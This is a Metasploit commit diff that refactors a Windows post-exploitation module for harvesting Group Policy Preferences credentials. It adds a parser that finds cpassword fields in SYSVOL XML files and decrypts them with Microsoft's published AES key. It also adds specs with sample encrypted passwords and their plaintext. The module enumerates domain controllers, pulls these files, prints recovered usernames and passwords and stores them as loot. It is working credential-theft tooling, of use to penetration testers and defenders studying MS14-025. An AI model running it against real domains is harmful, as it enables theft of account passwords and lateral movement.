Land #3377, GPP gathering module fixes

bug/bundler_fix
scriptjunkie 2014-07-19 11:12:51 -05:00
commit 066a5e2a4b
No known key found for this signature in database
GPG Key ID: E89DE255C921A2C6
4 changed files with 355 additions and 152 deletions

View File

@ -68,6 +68,11 @@ module NetAPI
base = 0
struct_size = 8
hosts = []
if count == 0
return hosts
end
mem = client.railgun.memread(start_ptr, struct_size*count)
count.times do

View File

@ -0,0 +1,159 @@
# -*- coding: binary -*-
#
module Rex
module Parser
# This is a parser for the Windows Group Policy Preferences file
# format. It's used by modules/post/windows/gather/credentials/gpp.rb
# and uses REXML (as opposed to Nokogiri) for its XML parsing.
# See: http://msdn.microsoft.com/en-gb/library/cc232587.aspx
class GPP
require 'rex'
require 'rexml/document'
def self.parse(data)
if data.nil?
return []
end
xml = REXML::Document.new(data).root
results = []
unless xml and xml.elements and xml.elements.to_a("//Properties")
return []
end
xml.elements.to_a("//Properties").each do |node|
epassword = node.attributes['cpassword']
next if epassword.to_s.empty?
password = self.decrypt(epassword)
user = node.attributes['runAs'] if node.attributes['runAs']
user = node.attributes['accountName'] if node.attributes['accountName']
user = node.attributes['username'] if node.attributes['username']
user = node.attributes['userName'] if node.attributes['userName']
user = node.attributes['newName'] unless node.attributes['newName'].nil? || node.attributes['newName'].empty?
changed = node.parent.attributes['changed']
# Printers and Shares
path = node.attributes['path']
# Datasources
dsn = node.attributes['dsn']
driver = node.attributes['driver']
# Tasks
app_name = node.attributes['appName']
# Services
service = node.attributes['serviceName']
# Groups
expires = node.attributes['expires']
never_expires = node.attributes['neverExpires']
disabled = node.attributes['acctDisabled']
result = {
:USER => user,
:PASS => password,
:CHANGED => changed
}
result.merge!({ :EXPIRES => expires }) unless expires.nil? || expires.empty?
result.merge!({ :NEVER_EXPIRES => never_expires.to_i }) unless never_expires.nil? || never_expires.empty?
result.merge!({ :DISABLED => disabled.to_i }) unless disabled.nil? || disabled.empty?
result.merge!({ :PATH => path }) unless path.nil? || path.empty?
result.merge!({ :DATASOURCE => dsn }) unless dsn.nil? || dsn.empty?
result.merge!({ :DRIVER => driver }) unless driver.nil? || driver.empty?
result.merge!({ :TASK => app_name }) unless app_name.nil? || app_name.empty?
result.merge!({ :SERVICE => service }) unless service.nil? || service.empty?
attributes = []
node.elements.each('//Attributes//Attribute') do |dsn_attribute|
attributes << {
:A_NAME => dsn_attribute.attributes['name'],
:A_VALUE => dsn_attribute.attributes['value']
}
end
result.merge!({ :ATTRIBUTES => attributes }) unless attributes.empty?
results << result
end
results
end
def self.create_tables(results, filetype, domain=nil, dc=nil)
tables = []
results.each do |result|
table = Rex::Ui::Text::Table.new(
'Header' => 'Group Policy Credential Info',
'Indent' => 1,
'SortIndex' => -1,
'Columns' =>
[
'Name',
'Value',
]
)
table << ["TYPE", filetype]
table << ["USERNAME", result[:USER]]
table << ["PASSWORD", result[:PASS]]
table << ["DOMAIN CONTROLLER", dc] unless dc.nil? || dc.empty?
table << ["DOMAIN", domain] unless domain.nil? || domain.empty?
table << ["CHANGED", result[:CHANGED]]
table << ["EXPIRES", result[:EXPIRES]] unless result[:EXPIRES].nil? || result[:EXPIRES].empty?
table << ["NEVER_EXPIRES?", result[:NEVER_EXPIRES]] unless result[:NEVER_EXPIRES].nil?
table << ["DISABLED", result[:DISABLED]] unless result[:DISABLED].nil?
table << ["PATH", result[:PATH]] unless result[:PATH].nil? || result[:PATH].empty?
table << ["DATASOURCE", result[:DSN]] unless result[:DSN].nil? || result[:DSN].empty?
table << ["DRIVER", result[:DRIVER]] unless result[:DRIVER].nil? || result[:DRIVER].empty?
table << ["TASK", result[:TASK]] unless result[:TASK].nil? || result[:TASK].empty?
table << ["SERVICE", result[:SERVICE]] unless result[:SERVICE].nil? || result[:SERVICE].empty?
unless result[:ATTRIBUTES].nil? || result[:ATTRIBUTES].empty?
result[:ATTRIBUTES].each do |dsn_attribute|
table << ["ATTRIBUTE", "#{dsn_attribute[:A_NAME]} - #{dsn_attribute[:A_VALUE]}"]
end
end
tables << table
end
tables
end
# Decrypts passwords using Microsoft's published key:
# http://msdn.microsoft.com/en-us/library/cc422924.aspx
def self.decrypt(encrypted_data)
unless encrypted_data
return ""
end
password = ""
padding = "=" * (4 - (encrypted_data.length % 4))
epassword = "#{encrypted_data}#{padding}"
decoded = Rex::Text.decode_base64(epassword)
key = "\x4e\x99\x06\xe8\xfc\xb6\x6c\xc9\xfa\xf4\x93\x10\x62\x0f\xfe\xe8\xf4\x96\xe8\x06\xcc\x05\x79\x90\x20\x9b\x09\xa4\x33\xb6\x6c\x1b"
aes = OpenSSL::Cipher::Cipher.new("AES-256-CBC")
begin
aes.decrypt
aes.key = key
plaintext = aes.update(decoded)
plaintext << aes.final
password = plaintext.unpack('v*').pack('C*') # UNICODE conversion
rescue OpenSSL::Cipher::CipherError => e
puts "Unable to decode: \"#{encrypted_data}\" Exception: #{e}"
end
password
end
end
end
end

View File

@ -4,15 +4,15 @@
##
require 'msf/core'
require 'rex'
require 'rexml/document'
require 'msf/core/auxiliary/report'
require 'rex/parser/group_policy_preferences'
class Metasploit3 < Msf::Post
include Msf::Auxiliary::Report
include Msf::Post::File
include Msf::Post::Windows::Priv
include Msf::Post::Windows::Registry
include Msf::Post::Windows::NetAPI
def initialize(info={})
super( update_info( info,
@ -41,7 +41,8 @@ class Metasploit3 < Msf::Post
['URL', 'http://msdn.microsoft.com/en-us/library/cc232604(v=prot.13)'],
['URL', 'http://rewtdance.blogspot.com/2012/06/exploiting-windows-2008-group-policy.html'],
['URL', 'http://blogs.technet.com/grouppolicy/archive/2009/04/22/passwords-in-group-policy-preferences-updated.aspx'],
['URL', 'https://labs.portcullis.co.uk/blog/are-you-considering-using-microsoft-group-policy-preferences-think-again/']
['URL', 'https://labs.portcullis.co.uk/blog/are-you-considering-using-microsoft-group-policy-preferences-think-again/'],
['MSB', 'MS14-025']
],
'Platform' => [ 'win' ],
'SessionTypes' => [ 'meterpreter' ]
@ -67,16 +68,11 @@ class Metasploit3 < Msf::Post
domains = []
basepaths = []
fullpaths = []
cached_domain_controller = nil
print_status "Checking for group policy history objects..."
# Windows XP environment variable points to the correct folder.
# Windows Vista and upwards points to ProgramData!
all_users = expand_path("%ALLUSERSPROFILE%")
all_users = get_env("%ALLUSERSPROFILE%")
if all_users.include? 'ProgramData'
all_users.gsub!('ProgramData','Users\\All Users')
else
unless all_users.include? 'ProgramData'
all_users = "#{all_users}\\Application Data"
end
@ -209,7 +205,7 @@ class Metasploit3 < Msf::Post
xml_path = "#{path}#{xml_path}"
begin
return xml_path if exist? xml_path
rescue Rex::Post::Meterpreter::RequestError => e
rescue Rex::Post::Meterpreter::RequestError
# No permissions for this specific file.
return nil
end
@ -223,7 +219,7 @@ class Metasploit3 < Msf::Post
retobj = {
:dc => spath[2],
:path => path,
:xml => REXML::Document.new(data).root
:xml => data
}
if spath[4] == "sysvol"
retobj[:domain] = spath[5]
@ -240,85 +236,35 @@ class Metasploit3 < Msf::Post
def parse_xml(xmlfile)
mxml = xmlfile[:xml]
print_status "Parsing file: #{xmlfile[:path]} ..."
filetype = xmlfile[:path].split('\\').last()
mxml.elements.to_a("//Properties").each do |node|
epassword = node.attributes['cpassword']
next if epassword.to_s.empty?
pass = decrypt(epassword)
filetype = File.basename(xmlfile[:path].gsub("\\","/"))
results = Rex::Parser::GPP.parse(mxml)
user = node.attributes['runAs'] if node.attributes['runAs']
user = node.attributes['accountName'] if node.attributes['accountName']
user = node.attributes['username'] if node.attributes['username']
user = node.attributes['userName'] if node.attributes['userName']
user = node.attributes['newName'] unless node.attributes['newName'].blank?
changed = node.parent.attributes['changed']
# Printers and Shares
path = node.attributes['path']
# Datasources
dsn = node.attributes['dsn']
driver = node.attributes['driver']
# Tasks
app_name = node.attributes['appName']
# Services
service = node.attributes['serviceName']
# Groups
expires = node.attributes['expires']
never_expires = node.attributes['neverExpires']
disabled = node.attributes['acctDisabled']
table = Rex::Ui::Text::Table.new(
'Header' => 'Group Policy Credential Info',
'Indent' => 1,
'SortIndex' => -1,
'Columns' =>
[
'Name',
'Value',
]
)
table << ["TYPE", filetype]
table << ["USERNAME", user]
table << ["PASSWORD", pass]
table << ["DOMAIN CONTROLLER", xmlfile[:dc]]
table << ["DOMAIN", xmlfile[:domain] ]
table << ["CHANGED", changed]
table << ["EXPIRES", expires] unless expires.blank?
table << ["NEVER_EXPIRES?", never_expires] unless never_expires.blank?
table << ["DISABLED", disabled] unless disabled.blank?
table << ["PATH", path] unless path.blank?
table << ["DATASOURCE", dsn] unless dsn.blank?
table << ["DRIVER", driver] unless driver.blank?
table << ["TASK", app_name] unless app_name.blank?
table << ["SERVICE", service] unless service.blank?
node.elements.each('//Attributes//Attribute') do |dsn_attribute|
table << ["ATTRIBUTE", "#{dsn_attribute.attributes['name']} - #{dsn_attribute.attributes['value']}"]
end
tables = Rex::Parser::GPP.create_tables(results, filetype, xmlfile[:domain], xmlfile[:dc])
tables.each do |table|
print_good table.to_s
end
results.each do |result|
if datastore['STORE']
stored_path = store_loot('windows.gpp.xml', 'text/plain', session, xmlfile[:xml], filetype, xmlfile[:path])
print_status("XML file saved to: #{stored_path}")
print_line
end
report_creds(user,pass) unless disabled and disabled == '1'
report_creds(result[:USER], result[:PASS], result[:DISABLED])
end
end
def report_creds(user, pass)
def report_creds(user, password, disabled)
if session.db_record
source_id = session.db_record.id
else
source_id = nil
end
active = (disabled == 0)
report_auth_info(
:host => session.sock.peerhost,
:port => 445,
@ -327,70 +273,28 @@ class Metasploit3 < Msf::Post
:source_id => source_id,
:source_type => "exploit",
:user => user,
:pass => pass)
end
def decrypt(encrypted_data)
padding = "=" * (4 - (encrypted_data.length % 4))
epassword = "#{encrypted_data}#{padding}"
decoded = Rex::Text.decode_base64(epassword)
key = "\x4e\x99\x06\xe8\xfc\xb6\x6c\xc9\xfa\xf4\x93\x10\x62\x0f\xfe\xe8\xf4\x96\xe8\x06\xcc\x05\x79\x90\x20\x9b\x09\xa4\x33\xb6\x6c\x1b"
aes = OpenSSL::Cipher::Cipher.new("AES-256-CBC")
aes.decrypt
aes.key = key
plaintext = aes.update(decoded)
plaintext << aes.final
pass = plaintext.unpack('v*').pack('C*') # UNICODE conversion
return pass
:pass => password,
:active => active)
end
def enum_domains
domain_enum = 0x80000000 # SV_TYPE_DOMAIN_ENUM
buffersize = 500
result = client.railgun.netapi32.NetServerEnum(nil,100,4,buffersize,4,4,domain_enum,nil,nil)
# Estimate new buffer size on percentage recovered.
percent_found = (result['entriesread'].to_f/result['totalentries'].to_f)
if percent_found > 0
buffersize = (buffersize/percent_found).to_i
else
buffersize += 500
end
while result['return'] == 234
buffersize = buffersize + 500
result = client.railgun.netapi32.NetServerEnum(nil,100,4,buffersize,4,4,domain_enum,nil,nil)
end
count = result['totalentries']
print_status("#{count} Domain(s) found.")
startmem = result['bufptr']
base = 0
domains = []
results = net_server_enum(SV_TYPE_DOMAIN_ENUM)
if count == 0
return domains
if results
results.each do |domain|
domains << domain[:name]
end
domains.uniq!
print_status("Retrieved Domain(s) #{domains.join(', ')} from network")
end
mem = client.railgun.memread(startmem, 8*count)
count.times do |i|
x = {}
x[:platform] = mem[(base + 0),4].unpack("V*")[0]
nameptr = mem[(base + 4),4].unpack("V*")[0]
x[:domain] = client.railgun.memread(nameptr,255).split("\0\0")[0].split("\0").join
domains << x[:domain]
base = base + 8
end
domains.uniq!
print_status "Retrieved Domain(s) #{domains.join(', ')} from network"
return domains
domains
end
def enum_dcs(domain)
hostnames = nil
# Prevent crash if FQDN domain names are searched for or other disallowed characters:
# http://support.microsoft.com/kb/909264 \/:*?"<>|
if domain =~ /[:\*?"<>\\\/.]/
@ -399,34 +303,19 @@ class Metasploit3 < Msf::Post
end
print_status("Enumerating DCs for #{domain} on the network...")
domaincontrollers = 24 # 10 + 8 (SV_TYPE_DOMAIN_BAKCTRL || SV_TYPE_DOMAIN_CTRL)
buffersize = 500
result = client.railgun.netapi32.NetServerEnum(nil,100,4,buffersize,4,4,domaincontrollers,domain,nil)
while result['return'] == 234
buffersize = buffersize + 500
result = client.railgun.netapi32.NetServerEnum(nil,100,4,buffersize,4,4,domaincontrollers,domain,nil)
end
if result['totalentries'] == 0
results = net_server_enum(SV_TYPE_DOMAIN_CTRL || SV_TYPE_DOMAIN_BAKCTRL, domain)
if results.blank?
print_error("No Domain Controllers found for #{domain}")
return nil
else
hostnames = []
results.each do |dc|
print_good "DC Found: #{dc[:name]}"
hostnames << dc[:name]
end
end
count = result['totalentries']
startmem = result['bufptr']
base = 0
mem = client.railgun.memread(startmem, 8*count)
hostnames = []
count.times{|i|
t = {}
t[:platform] = mem[(base + 0),4].unpack("V*")[0]
nameptr = mem[(base + 4),4].unpack("V*")[0]
t[:dc_hostname] = client.railgun.memread(nameptr,255).split("\0\0")[0].split("\0").join
base = base + 8
print_good "DC Found: #{t[:dc_hostname]}"
hostnames << t[:dc_hostname]
}
return hostnames
hostnames
end
# We use this for the odd test case where a DC is unable to be enumerated from the network

View File

@ -0,0 +1,150 @@
require 'rex/parser/group_policy_preferences'
xml_group = '
<?xml version="1.0" encoding="utf-8"?>
<Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}"><User clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}" name="SuperSecretBackdoor" image="0" changed="2013-04-25 18:36:07" uid="{B5EDB865-34F5-4BD7-9C59-3AEB1C7A68C3}"><Properties action="C" fullName="" description="" cpassword="VBQUNbDhuVti3/GHTGHPvcno2vH3y8e8m1qALVO1H3T0rdkr2rub1smfTtqRBRI3" changeLogon="0" noChange="0" neverExpires="1" acctDisabled="0" userName="SuperSecretBackdoor"/></User>
</Groups>
'
xml_datasrc = '
<?xml version="1.0" encoding="utf-8"?>
<DataSources clsid="{380F820F-F21B-41ac-A3CC-24D4F80F067B}"><DataSource clsid="{5C209626-D820-4d69-8D50-1FACD6214488}" userContext="1" name="test" image="0" changed="2013-04-25 20:39:08" uid="{3513F923-9661-4819-9995-91A63C7D7A65}"><Properties action="C" userDSN="0" dsn="test" driver="test" description="" username="test" cpassword="eYbbv1GZI4DZEgTXPUDspw"><Attributes><Attribute name="test" value="test"/><Attribute name="test2" value="test2"/></Attributes></Properties></DataSource>
</DataSources>
'
xml_drive = '
<?xml version="1.0" encoding="utf-8"?>
<Drives clsid="{8FDDCC1A-0C3C-43cd-A6B4-71A6DF20DA8C}"><Drive clsid="{935D1B74-9CB8-4e3c-9914-7DD559B7A417}" name="E:" status="E:" image="0" changed="2013-04-25 20:33:02" uid="{016E2095-EAB5-43C0-8BCF-4C2655F709F5}"><Properties action="C" thisDrive="NOCHANGE" allDrives="NOCHANGE" userName="drivemap" path="drivemap" label="" persistent="0" useLetter="1" letter="E" cpassword="Lj3fkZ8E3AFAJPTSoBitKw"/></Drive>
</Drives>
'
xml_schd = '
<?xml version="1.0" encoding="utf-8"?>
<ScheduledTasks clsid="{CC63F200-7309-4ba0-B154-A71CD118DBCC}"><Task clsid="{2DEECB1C-261F-4e13-9B21-16FB83BC03BD}" name="test1" image="2" changed="2013-04-25 20:30:13" uid="{41059D76-C7B4-4D05-9679-AE7510247B1F}"><Properties action="U" name="test1" appName="notepad.exe" args="" startIn="" comment="" runAs="test1" cpassword="DdGgLn/bpUNU/QjjcNvn4A" enabled="0"><Triggers><Trigger type="DAILY" startHour="8" startMinutes="0" beginYear="2013" beginMonth="4" beginDay="25" hasEndDate="0" repeatTask="0" interval="1"/></Triggers></Properties></Task>
</ScheduledTasks>
'
xml_serv = '
<?xml version="1.0" encoding="utf-8"?>
<NTServices clsid="{2CFB484A-4E96-4b5d-A0B6-093D2F91E6AE}"><NTService clsid="{AB6F0B67-341F-4e51-92F9-005FBFBA1A43}" name="Blah" image="0" changed="2013-04-25 20:29:49" uid="{C6AE4201-9F99-46AB-93C2-9D734D87D343}"><Properties startupType="NOCHANGE" serviceName="Blah" timeout="30" accountName="bob" cpassword="OQWR9sf5FTlGgh8SJX31ug"/></NTService>
</NTServices>
'
xml_ms = '
<?xml version="1.0" encoding="utf-8"?>
<Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}"
disabled="1">
<User clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}"
name="DbAdmin"
image="2"
changed="2007-07-06 20:45:20"
uid="{253F4D90-150A-4EFB-BCC8-6E894A9105F7}">
<Properties
action="U"
newName=""
fullName="Database Admin"
description="Local Database Admin"
cpassword="demo"
changeLogon="0"
noChange="0"
neverExpires="0"
acctDisabled="1"
userName="DbAdmin"/>
</User>
<Group clsid="{6D4A79E4-529C-4481-ABD0-F5BD7EA93BA7}"
name="Database Admins"
image="2"
changed="2007-07-06 20:46:21"
uid="{C5FB3901-508A-4A9E-9171-60D4FC2B404B}">
<Properties
action="U"
newName=""
description="Local Database Admins"
userAction="REMOVE"
deleteAllUsers="1"
deleteAllGroups="1"
removeAccounts="0"
groupName="Database Admins">
<Members>
<Member
name="domain\sampleuser"
action="ADD"
sid=""/>
</Members>
</Properties>
</Group>
</Groups>
'
cpassword_normal = "j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw"
cpassword_bad = "blah"
describe Rex::Parser::GPP do
GPP = Rex::Parser::GPP
##
# Decrypt
##
it "Decrypt returns Local*P4ssword! for normal cpassword" do
result = GPP.decrypt(cpassword_normal)
result.should eq("Local*P4ssword!")
end
it "Decrypt returns blank for bad cpassword" do
result = GPP.decrypt(cpassword_bad)
result.should eq("")
end
it "Decrypt returns blank for nil cpassword" do
result = GPP.decrypt(nil)
result.should eq("")
end
##
# Parse
##
it "Parse returns empty [] for nil" do
GPP.parse(nil).should be_empty
end
it "Parse returns results for xml_ms and password is empty" do
results = GPP.parse(xml_ms)
results.should_not be_empty
results[0][:PASS].should be_empty
end
it "Parse returns results for xml_datasrc, and attributes, and password is test1" do
results = GPP.parse(xml_datasrc)
results.should_not be_empty
results[0].include?(:ATTRIBUTES).should be_true
results[0][:ATTRIBUTES].should_not be_empty
results[0][:PASS].should eq("test")
end
xmls = []
xmls << xml_group
xmls << xml_drive
xmls << xml_schd
xmls << xml_serv
xmls << xml_datasrc
it "Parse returns results for all good xmls and passwords" do
xmls.each do |xml|
results = GPP.parse(xml)
results.should_not be_empty
results[0][:PASS].should_not be_empty
end
end
##
# Create_Tables
##
it "Create_tables returns tables for all good xmls" do
xmls.each do |xml|
results = GPP.parse(xml)
tables = GPP.create_tables(results, "test")
tables.should_not be_empty
end
end
end